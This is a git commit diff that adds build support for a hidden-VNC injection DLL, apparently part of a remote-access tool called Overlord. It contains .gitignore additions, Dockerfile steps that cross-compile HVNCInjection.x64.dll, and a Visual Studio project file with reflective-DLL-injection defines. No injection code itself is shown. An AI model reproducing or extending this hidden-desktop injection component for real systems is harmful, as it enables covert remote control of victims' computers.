add hvnc cloning
This commit is contained in:
+430
@@ -22,6 +22,7 @@ bin/
|
||||
*.exe
|
||||
*.test
|
||||
*.out
|
||||
*.dll
|
||||
|
||||
# Certificates (auto-generated)
|
||||
certs/
|
||||
@@ -49,3 +50,432 @@ Overlord-Server/data/
|
||||
release/
|
||||
|
||||
stress/
|
||||
|
||||
## Ignore Visual Studio temporary files, build results, and
|
||||
## files generated by popular Visual Studio add-ons.
|
||||
##
|
||||
## Get latest from https://github.com/github/gitignore/blob/main/VisualStudio.gitignore
|
||||
|
||||
# User-specific files
|
||||
*.rsuser
|
||||
*.suo
|
||||
*.user
|
||||
*.userosscache
|
||||
*.sln.docstates
|
||||
*.env
|
||||
|
||||
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||
*.userprefs
|
||||
|
||||
# Mono auto generated files
|
||||
mono_crash.*
|
||||
|
||||
# Build results
|
||||
[Dd]ebug/
|
||||
[Dd]ebugPublic/
|
||||
[Rr]elease/
|
||||
[Rr]eleases/
|
||||
|
||||
[Dd]ebug/x64/
|
||||
[Dd]ebugPublic/x64/
|
||||
[Rr]elease/x64/
|
||||
[Rr]eleases/x64/
|
||||
bin/x64/
|
||||
obj/x64/
|
||||
|
||||
[Dd]ebug/x86/
|
||||
[Dd]ebugPublic/x86/
|
||||
[Rr]elease/x86/
|
||||
[Rr]eleases/x86/
|
||||
bin/x86/
|
||||
obj/x86/
|
||||
|
||||
[Ww][Ii][Nn]32/
|
||||
[Aa][Rr][Mm]/
|
||||
[Aa][Rr][Mm]64/
|
||||
[Aa][Rr][Mm]64[Ee][Cc]/
|
||||
bld/
|
||||
[Oo]bj/
|
||||
[Oo]ut/
|
||||
[Ll]og/
|
||||
[Ll]ogs/
|
||||
|
||||
# Build results on 'Bin' directories
|
||||
**/[Bb]in/*
|
||||
# Uncomment if you have tasks that rely on *.refresh files to move binaries
|
||||
# (https://github.com/github/gitignore/pull/3736)
|
||||
#!**/[Bb]in/*.refresh
|
||||
|
||||
# Visual Studio 2015/2017 cache/options directory
|
||||
.vs/
|
||||
# Uncomment if you have tasks that create the project's static files in wwwroot
|
||||
#wwwroot/
|
||||
|
||||
# Visual Studio 2017 auto generated files
|
||||
Generated\ Files/
|
||||
|
||||
# MSTest test Results
|
||||
[Tt]est[Rr]esult*/
|
||||
[Bb]uild[Ll]og.*
|
||||
*.trx
|
||||
|
||||
# NUnit
|
||||
*.VisualState.xml
|
||||
TestResult.xml
|
||||
nunit-*.xml
|
||||
|
||||
# Approval Tests result files
|
||||
*.received.*
|
||||
|
||||
# Build Results of an ATL Project
|
||||
[Dd]ebugPS/
|
||||
[Rr]eleasePS/
|
||||
dlldata.c
|
||||
|
||||
# Benchmark Results
|
||||
BenchmarkDotNet.Artifacts/
|
||||
|
||||
# .NET Core
|
||||
project.lock.json
|
||||
project.fragment.lock.json
|
||||
artifacts/
|
||||
|
||||
# ASP.NET Scaffolding
|
||||
ScaffoldingReadMe.txt
|
||||
|
||||
# StyleCop
|
||||
StyleCopReport.xml
|
||||
|
||||
# Files built by Visual Studio
|
||||
*_i.c
|
||||
*_p.c
|
||||
*_h.h
|
||||
*.ilk
|
||||
*.meta
|
||||
*.obj
|
||||
*.idb
|
||||
*.iobj
|
||||
*.pch
|
||||
*.pdb
|
||||
*.ipdb
|
||||
*.pgc
|
||||
*.pgd
|
||||
*.rsp
|
||||
# but not Directory.Build.rsp, as it configures directory-level build defaults
|
||||
!Directory.Build.rsp
|
||||
*.sbr
|
||||
*.tlb
|
||||
*.tli
|
||||
*.tlh
|
||||
*.tmp
|
||||
*.tmp_proj
|
||||
*_wpftmp.csproj
|
||||
*.log
|
||||
*.tlog
|
||||
*.vspscc
|
||||
*.vssscc
|
||||
.builds
|
||||
*.pidb
|
||||
*.svclog
|
||||
*.scc
|
||||
|
||||
# Chutzpah Test files
|
||||
_Chutzpah*
|
||||
|
||||
# Visual C++ cache files
|
||||
ipch/
|
||||
*.aps
|
||||
*.ncb
|
||||
*.opendb
|
||||
*.opensdf
|
||||
*.sdf
|
||||
*.cachefile
|
||||
*.VC.db
|
||||
*.VC.VC.opendb
|
||||
|
||||
# Visual Studio profiler
|
||||
*.psess
|
||||
*.vsp
|
||||
*.vspx
|
||||
*.sap
|
||||
|
||||
# Visual Studio Trace Files
|
||||
*.e2e
|
||||
|
||||
# TFS 2012 Local Workspace
|
||||
$tf/
|
||||
|
||||
# Guidance Automation Toolkit
|
||||
*.gpState
|
||||
|
||||
# ReSharper is a .NET coding add-in
|
||||
_ReSharper*/
|
||||
*.[Rr]e[Ss]harper
|
||||
*.DotSettings.user
|
||||
|
||||
# TeamCity is a build add-in
|
||||
_TeamCity*
|
||||
|
||||
# DotCover is a Code Coverage Tool
|
||||
*.dotCover
|
||||
|
||||
# AxoCover is a Code Coverage Tool
|
||||
.axoCover/*
|
||||
!.axoCover/settings.json
|
||||
|
||||
# Coverlet is a free, cross platform Code Coverage Tool
|
||||
coverage*.json
|
||||
coverage*.xml
|
||||
coverage*.info
|
||||
|
||||
# Visual Studio code coverage results
|
||||
*.coverage
|
||||
*.coveragexml
|
||||
|
||||
# NCrunch
|
||||
_NCrunch_*
|
||||
.NCrunch_*
|
||||
.*crunch*.local.xml
|
||||
nCrunchTemp_*
|
||||
|
||||
# MightyMoose
|
||||
*.mm.*
|
||||
AutoTest.Net/
|
||||
|
||||
# Web workbench (sass)
|
||||
.sass-cache/
|
||||
|
||||
# Installshield output folder
|
||||
[Ee]xpress/
|
||||
|
||||
# DocProject is a documentation generator add-in
|
||||
DocProject/buildhelp/
|
||||
DocProject/Help/*.HxT
|
||||
DocProject/Help/*.HxC
|
||||
DocProject/Help/*.hhc
|
||||
DocProject/Help/*.hhk
|
||||
DocProject/Help/*.hhp
|
||||
DocProject/Help/Html2
|
||||
DocProject/Help/html
|
||||
|
||||
# Click-Once directory
|
||||
publish/
|
||||
|
||||
# Publish Web Output
|
||||
*.[Pp]ublish.xml
|
||||
*.azurePubxml
|
||||
# Note: Comment the next line if you want to checkin your web deploy settings,
|
||||
# but database connection strings (with potential passwords) will be unencrypted
|
||||
*.pubxml
|
||||
*.publishproj
|
||||
|
||||
# Microsoft Azure Web App publish settings. Comment the next line if you want to
|
||||
# checkin your Azure Web App publish settings, but sensitive information contained
|
||||
# in these scripts will be unencrypted
|
||||
PublishScripts/
|
||||
|
||||
# NuGet Packages
|
||||
*.nupkg
|
||||
# NuGet Symbol Packages
|
||||
*.snupkg
|
||||
# The packages folder can be ignored because of Package Restore
|
||||
**/[Pp]ackages/*
|
||||
# except build/, which is used as an MSBuild target.
|
||||
!**/[Pp]ackages/build/
|
||||
# Uncomment if necessary however generally it will be regenerated when needed
|
||||
#!**/[Pp]ackages/repositories.config
|
||||
# NuGet v3's project.json files produces more ignorable files
|
||||
*.nuget.props
|
||||
*.nuget.targets
|
||||
|
||||
# Microsoft Azure Build Output
|
||||
csx/
|
||||
*.build.csdef
|
||||
|
||||
# Microsoft Azure Emulator
|
||||
ecf/
|
||||
rcf/
|
||||
|
||||
# Windows Store app package directories and files
|
||||
AppPackages/
|
||||
BundleArtifacts/
|
||||
Package.StoreAssociation.xml
|
||||
_pkginfo.txt
|
||||
*.appx
|
||||
*.appxbundle
|
||||
*.appxupload
|
||||
|
||||
# Visual Studio cache files
|
||||
# files ending in .cache can be ignored
|
||||
*.[Cc]ache
|
||||
# but keep track of directories ending in .cache
|
||||
!?*.[Cc]ache/
|
||||
|
||||
# Others
|
||||
ClientBin/
|
||||
~$*
|
||||
*~
|
||||
*.dbmdl
|
||||
*.dbproj.schemaview
|
||||
*.jfm
|
||||
*.pfx
|
||||
*.publishsettings
|
||||
orleans.codegen.cs
|
||||
|
||||
# Including strong name files can present a security risk
|
||||
# (https://github.com/github/gitignore/pull/2483#issue-259490424)
|
||||
#*.snk
|
||||
|
||||
# Since there are multiple workflows, uncomment next line to ignore bower_components
|
||||
# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
|
||||
#bower_components/
|
||||
|
||||
# RIA/Silverlight projects
|
||||
Generated_Code/
|
||||
|
||||
# Backup & report files from converting an old project file
|
||||
# to a newer Visual Studio version. Backup files are not needed,
|
||||
# because we have git ;-)
|
||||
_UpgradeReport_Files/
|
||||
Backup*/
|
||||
UpgradeLog*.XML
|
||||
UpgradeLog*.htm
|
||||
ServiceFabricBackup/
|
||||
*.rptproj.bak
|
||||
|
||||
# SQL Server files
|
||||
*.mdf
|
||||
*.ldf
|
||||
*.ndf
|
||||
|
||||
# Business Intelligence projects
|
||||
*.rdl.data
|
||||
*.bim.layout
|
||||
*.bim_*.settings
|
||||
*.rptproj.rsuser
|
||||
*- [Bb]ackup.rdl
|
||||
*- [Bb]ackup ([0-9]).rdl
|
||||
*- [Bb]ackup ([0-9][0-9]).rdl
|
||||
|
||||
# Microsoft Fakes
|
||||
FakesAssemblies/
|
||||
|
||||
# GhostDoc plugin setting file
|
||||
*.GhostDoc.xml
|
||||
|
||||
# Node.js Tools for Visual Studio
|
||||
.ntvs_analysis.dat
|
||||
node_modules/
|
||||
|
||||
# Visual Studio 6 build log
|
||||
*.plg
|
||||
|
||||
# Visual Studio 6 workspace options file
|
||||
*.opt
|
||||
|
||||
# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
|
||||
*.vbw
|
||||
|
||||
# Visual Studio 6 workspace and project file (working project files containing files to include in project)
|
||||
*.dsw
|
||||
*.dsp
|
||||
|
||||
# Visual Studio 6 technical files
|
||||
*.ncb
|
||||
*.aps
|
||||
|
||||
# Visual Studio LightSwitch build output
|
||||
**/*.HTMLClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/GeneratedArtifacts
|
||||
**/*.DesktopClient/ModelManifest.xml
|
||||
**/*.Server/GeneratedArtifacts
|
||||
**/*.Server/ModelManifest.xml
|
||||
_Pvt_Extensions
|
||||
|
||||
# Paket dependency manager
|
||||
**/.paket/paket.exe
|
||||
paket-files/
|
||||
|
||||
# FAKE - F# Make
|
||||
**/.fake/
|
||||
|
||||
# CodeRush personal settings
|
||||
**/.cr/personal
|
||||
|
||||
# Python Tools for Visual Studio (PTVS)
|
||||
**/__pycache__/
|
||||
*.pyc
|
||||
|
||||
# Cake - Uncomment if you are using it
|
||||
#tools/**
|
||||
#!tools/packages.config
|
||||
|
||||
# Tabs Studio
|
||||
*.tss
|
||||
|
||||
# Telerik's JustMock configuration file
|
||||
*.jmconfig
|
||||
|
||||
# BizTalk build output
|
||||
*.btp.cs
|
||||
*.btm.cs
|
||||
*.odx.cs
|
||||
*.xsd.cs
|
||||
|
||||
# OpenCover UI analysis results
|
||||
OpenCover/
|
||||
|
||||
# Azure Stream Analytics local run output
|
||||
ASALocalRun/
|
||||
|
||||
# MSBuild Binary and Structured Log
|
||||
*.binlog
|
||||
MSBuild_Logs/
|
||||
|
||||
# AWS SAM Build and Temporary Artifacts folder
|
||||
.aws-sam
|
||||
|
||||
# NVidia Nsight GPU debugger configuration file
|
||||
*.nvuser
|
||||
|
||||
# MFractors (Xamarin productivity tool) working folder
|
||||
**/.mfractor/
|
||||
|
||||
# Local History for Visual Studio
|
||||
**/.localhistory/
|
||||
|
||||
# Visual Studio History (VSHistory) files
|
||||
.vshistory/
|
||||
|
||||
# BeatPulse healthcheck temp database
|
||||
healthchecksdb
|
||||
|
||||
# Backup folder for Package Reference Convert tool in Visual Studio 2017
|
||||
MigrationBackup/
|
||||
|
||||
# Ionide (cross platform F# VS Code tools) working folder
|
||||
**/.ionide/
|
||||
|
||||
# Fody - auto-generated XML schema
|
||||
FodyWeavers.xsd
|
||||
|
||||
# VS Code files for those working on multiple tools
|
||||
.vscode/*
|
||||
!.vscode/settings.json
|
||||
!.vscode/tasks.json
|
||||
!.vscode/launch.json
|
||||
!.vscode/extensions.json
|
||||
!.vscode/*.code-snippets
|
||||
|
||||
# Local History for Visual Studio Code
|
||||
.history/
|
||||
|
||||
# Built Visual Studio Code Extensions
|
||||
*.vsix
|
||||
|
||||
# Windows Installer files from build outputs
|
||||
*.cab
|
||||
*.msi
|
||||
*.msix
|
||||
*.msm
|
||||
*.msp
|
||||
+13
@@ -63,6 +63,19 @@ RUN bun install --frozen-lockfile
|
||||
COPY Overlord-Server/ ./
|
||||
COPY Overlord-Client/ ./Overlord-Client/
|
||||
|
||||
# Copy HVNCInjection source and build script for cross-compilation
|
||||
COPY HVNCInjection/ ./HVNCInjection/
|
||||
COPY build-hvnc-dll.sh ./build-hvnc-dll.sh
|
||||
|
||||
# Attempt to cross-compile HVNCInjection DLL with mingw.
|
||||
# Requires MinHook source in HVNCInjection/src/minhook/.
|
||||
# If unavailable, pre-build the DLL on Windows with build-hvnc-dll.bat
|
||||
# and place it at Overlord-Server/dist-clients/HVNCInjection.x64.dll.
|
||||
RUN chmod +x build-hvnc-dll.sh && \
|
||||
HVNC_SRC_DIR=HVNCInjection/src HVNC_OUT_DIR=dist-clients bash build-hvnc-dll.sh || \
|
||||
(test -f dist-clients/HVNCInjection.x64.dll && echo "Using pre-built DLL") || \
|
||||
echo "WARNING: HVNCInjection DLL not available"
|
||||
|
||||
# Create necessary directories
|
||||
RUN mkdir -p certs public data
|
||||
|
||||
|
||||
@@ -0,0 +1,286 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|ARM">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>ARM</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|ARM">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>ARM</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{483CE4EF-7B5C-4C47-BAC5-2EA5CD09EBFC}</ProjectGuid>
|
||||
<RootNamespace>HVNCInjection</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>11.0.50727.1</_ProjectFileVersion>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<IntDir>$(Configuration)\</IntDir>
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
|
||||
<IntDir>$(Configuration)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir>
|
||||
<IntDir>$(Platform)\$(Configuration)\</IntDir>
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|ARM'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<CompileAs>CompileAsCpp</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<AdditionalLibraryDirectories>$(ProjectDir)src;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>if not exist "$(SolutionDir)bin\Debug\net9.0-windows" mkdir "$(SolutionDir)bin\Debug\net9.0-windows"
|
||||
if not exist "$(SolutionDir)bin\Release\net9.0-windows" mkdir "$(SolutionDir)bin\Release\net9.0-windows"
|
||||
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Debug\net9.0-windows\"
|
||||
copy "$(OutDir)$(ProjectName).x64.dll" "$(SolutionDir)bin\Release\net9.0-windows\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|ARM'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_ARM;HVNCInjection_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>true</BufferSecurityCheck>
|
||||
<CompileAs>Default</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OutputFile>$(OutDir)$(ProjectName).arm.dll</OutputFile>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PreprocessorDefinitions>WIN64;NDEBUG;_WINDOWS;_USRDLL;HVNCInjection_EXPORTS;WIN_X64;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<PrecompiledHeader />
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<CompileAs>CompileAsCpp</CompileAs>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<OutputFile>$(OutDir)$(ProjectName).x64.dll</OutputFile>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
